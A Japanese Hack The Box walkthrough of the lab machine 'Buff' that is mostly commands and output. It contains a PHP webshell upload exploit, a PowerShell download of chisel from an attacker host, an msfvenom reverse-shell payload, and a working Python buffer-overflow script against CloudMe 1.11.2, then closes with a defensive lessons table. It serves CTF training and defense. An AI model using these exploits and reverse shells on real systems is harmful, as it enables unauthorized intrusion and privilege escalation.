Hack The BoxのWriteup(Buff)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Buff — 全実行コマンド・実行結果レポート
Nmap スキャン
8080/http, 7680/pando-pub
→
Gym Management 1.0
EDB-48506 未認証アップロード
→
buff\shaun シェル → user.txt ✓
→
chisel リバーストンネル
R:8888:127.0.0.1:8888
→
CloudMe 1.11.2 BOF
EIP=0x68A842B5 PUSH ESP;RET
→
buff\administrator → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & アプリ特定

BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.2.18
nmap -sV -sC -p 8080,7680 10.129.2.18
curl -s http://10.129.2.18:8080/ | grep -i title
RESULT
PORT     STATE SERVICE     VERSION
7680/tcp open  pando-pub
8080/tcp open  http-proxy  Apache httpd 2.4.43

<title>Gym Management System</title>
ℹ️
Gym Management System 1.0(“mrb3n’s Bro Hut”)というPHP製 アプリ。このバージョンには未認証ファイルアップロードRCE脆弱性 (EDB-48506)が存在する。
PHASE 2

EDB-48506: Gym Management System 1.0 未認証アップロードRCE

PHP webshellのアップロード (PNGマジックバイト+二重拡張子)

BASH
# PNGマジックバイト(\x89PNG\r\n\x1a\n)を先頭に付けたPHP webshell
printf '\x89PNG\r\n\x1a\n' > shell.php.png
echo '<?php echo shell_exec($_GET["cmd"]); ?>' >> shell.php.png

curl -s -X POST \
  -F "file=@shell.php.png;filename=test.php.png;type=image/png" \
  -F "pupload=upload" \
  "http://10.129.2.18:8080/upload.php?id=test"
🚨
脆弱性の核心: upload.phpは認証チェックが 一切無い。さらにファイル検証はContent-Type: image/pngと 先頭のPNGマジックバイトのみを見ており、実際の内容(PHPコード)は検証しない。 ファイル名をtest.php.pngという二重拡張子にすると、サーバー側の 保存処理が最後の拡張子(.png)だけを見て「画像だから安全」と 誤判定しつつ、実ファイルシステムにはtest.phpとして保存される 設計上の不備がある。

webshellへアクセスしてRCE確認

BASH
curl -s "http://10.129.2.18:8080/upload/test.php?cmd=whoami"
RESULT
buff\shaun
✅
RCE成功! shaunユーザーとしてコマンド実行できる。
PHASE 3

user.txt 取得

webshell経由でフラグ読み取り

BASH
curl -s "http://10.129.2.18:8080/upload/test.php" \
  --data-urlencode "cmd=type C:\Users\shaun\Desktop\user.txt" -G
RESULT
7a25d82e35ecfadc66c60ae92cc83240
user.txt — buff\shaun
7a25d82e35ecfadc66c60ae92cc83240
PHASE 4

chiselリバーストンネルでlocalhost限定サービスへ到達

CloudMeの発見 (127.0.0.1限定)

BASH (webshell経由)
curl -s "http://10.129.2.18:8080/upload/test.php" --data-urlencode "cmd=netstat -ano" -G
RESULT
TCP    127.0.0.1:8888         0.0.0.0:0              LISTENING
ℹ️
C:\Users\shaun\Downloads\CloudMe_1112.exeからCloudMe 1.11.2 が稼働中で、127.0.0.1:8888というループバック限定ポートで リスニングしている。既知のスタックバッファオーバーフロー脆弱性がある。

chisel リバーストンネルの構築

BASH (Kali側)
# Kali上でchiselサーバーを起動 (リバースモード)
chisel server -p 9977 --reverse &

# chisel.exeをHTTPで一時配信
python3 -m http.server 9978 --directory /path/to/chisel/ &
BASH (webshell経由、ターゲットへ配置・実行)
curl -s "http://10.129.2.18:8080/upload/test.php" --data-urlencode \
  "cmd=powershell -c \"Invoke-WebRequest -Uri 'http://<Kali IP>:9978/' -OutFile 'C:\Users\Public\chisel.exe'\"" -G

curl -s "http://10.129.2.18:8080/upload/test.php" --data-urlencode \
  "cmd=powershell -c \"Start-Process 'C:\Users\Public\chisel.exe' -ArgumentList 'client <Kali IP>:9977 R:8888:127.0.0.1:8888' -WindowStyle Hidden\"" -G
RESULT
server: session#1: tun: proxy#R:8888=>8888: Listening
✅
トンネル確立! ターゲットの127.0.0.1:8888が Kali側の127.0.0.1:8888に転送されるようになり、Kaliから直接 CloudMeへ接続できるようになった。
PHASE 5

CloudMe 1.11.2 バッファオーバーフロー & root.txt取得

シェルコード生成とBOFバッファ組み立て

BASH
# CloudMeは64bit WindowsでもWOW64(32bit)で動作するため x86 シェルコードが必要
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=<Kali IP> LPORT=4455 \
  EXITFUNC=thread -b '\x00\x0a\x0d' -f raw -o revshell.bin
PYTHON (BOFバッファ構築・送信)
import socket, time

with open('revshell.bin','rb') as f:
    sc = f.read()

padding = b'\x90' * 1052
eip     = b'\xB5\x42\xA8\x68'     # 0x68A842B5 = PUSH ESP; RET
nop     = b'\x90' * 30
total   = len(padding) + len(eip) + len(nop) + len(sc)
overrun = b'\x43' * (1500 - total)  # 合計ちょうど1500バイトに揃える
buf = padding + eip + nop + sc + overrun

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(('127.0.0.1', 8888))  # chiselトンネル経由でターゲットのCloudMeへ
time.sleep(0.3)
s.sendall(buf)   # 大きめのバッファは send() だと送信漏れの可能性があるため sendall()
time.sleep(1)
s.close()
ℹ️
0x68A842B5はCloudMe 1.11.2が読み込むDLL内の POP/POP/RET系ではなくPUSH ESP; RETガジェット アドレス(固定、ASLR非対応)。SEH/スタック上書き後この番地へ制御を 移すと、スタックポインタ自体をリターン先として実行するトリックにより 直後のNOPスレッド経由でシェルコードに到達する。

リスナー起動・BOF送信・シェル接続

BASH
# 別ターミナル
nc -lvnp 4455

# 上記Pythonスクリプトを実行してBOFを送信
RESULT
listening on [any] 4455 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.2.18] 49781
Microsoft Windows [Version 10.0.17134.1610]

C:\Windows\system32>whoami
buff\administrator
✅
root化成功! CloudMeはbuff\administrator権限で 動作しており、シェルコードもその権限で実行される。
⚠️
実装上の注意(自動化時に発見): CloudMeには異常終了時に 自動再起動するウォッチドッグが存在する(taskkill /PID <pid> /Fで プロセスを終了させると、数秒以内に新しいPIDでポート8888が再度 LISTENING状態に戻ることを確認済み)。一方でBOF送信1回では CloudMeをクラッシュさせるだけでシェルコードの実行まで到達しない ことがある(メモリ配置のわずかな違いによる一発勝負の不安定さ)。 自動化する場合は、CloudMeのポートが生存していることを確認しつつ 最大3回程度BOF送信をリトライする設計にすると信頼性が大幅に向上する。

root.txt取得

BASH
C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
RESULT
2cc3dbd49d4b8319ad59ab7b35a3c268
root.txt — buff\administrator
2cc3dbd49d4b8319ad59ab7b35a3c268
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — buff\shaun
7a25d82e35ecfadc66c60ae92cc83240
root.txt — buff\administrator
2cc3dbd49d4b8319ad59ab7b35a3c268

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
EDB-48506 (未認証ファイルアップロードRCE) Gym Management System 1.0 upload.php リモートコード実行 (shaun) Critical PNGマジックバイト+二重拡張子(test.php.png)でContent-Type/拡張子検証をバイパス
CloudMe 1.11.2 スタックバッファオーバーフロー CloudMe 1.11.2 (127.0.0.1:8888) 権限昇格 (Administrator, root.txt) Critical 固定アドレスのPUSH ESP;RETガジェットでEIPを奪いシェルコードへ着地

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap8080/http (Gym Management), 7680/pando-pub
2RCEEDB-48506 二重拡張子+PNGマジックバイトbuff\shaun シェル獲得
3ユーザーフラグwebshell type コマンドuser.txt
4トンネリングchisel リバーストンネルCloudMe(127.0.0.1:8888)へKaliから直接到達可能
5権限昇格CloudMe 1.11.2 BOF (固定EIPガジェット)root.txt (buff\administrator)

学んだ教訓 & 防御策

問題点防御策
アップロード機能に認証チェックが一切無く、ファイル内容の検証もマジックバイトと拡張子のみ アップロード機能には必ず認証・認可を要求し、ファイル内容はMIMEタイプ判定ライブラリ等で厳密に検証、アップロード先はPHP実行不可の設定にする。
古い既知の脆弱性を持つサードパーティソフト(CloudMe 1.11.2)が、Administrator権限でlocalhost限定とはいえ稼働している 既知の脆弱性を持つソフトウェアは最新版へ更新するか削除する。「localhost限定だから安全」という思い込みは、Web経由のSSRF/トンネリングで容易に突破される前提で設計する。
脆弱なサービスに異常終了時の自動再起動ウォッチドッグがあり、攻撃者に何度でも再試行の機会を与えてしまう 本来は防御側に有利な「可用性維持」のための仕組みだが、エクスプロイトの試行回数制限が無いサービスでは攻撃者の成功率を実質的に引き上げてしまう。異常終了の頻発を検知してアラートを出す監視を併用する。
HackTheBox: Buff | 完全攻略レポート